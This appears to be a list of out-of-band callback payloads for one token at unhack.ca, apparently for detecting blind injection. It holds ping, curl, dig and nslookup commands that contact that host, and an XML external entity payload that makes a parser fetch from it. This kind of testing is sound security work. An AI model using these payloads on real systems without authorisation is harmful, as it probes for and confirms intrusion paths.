$ ping -c1 -p 0069f1a923aec8d8f70422a9c2d45100 unhack.ca
$ curl http://unhack.ca/p/69f1a923aec8d8f70422a9c2d451
$ dig 69f1a923aec8d8f70422a9c2d451 @unhack.ca
$ dig 69f1a923aec8d8f70422a9c2d451.ns.unhack.ca
C:\> nslookup 69f1a923aec8d8f70422a9c2d451 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/69f1a923aec8d8f70422a9c2d451">]> <foo>&xxe;</foo>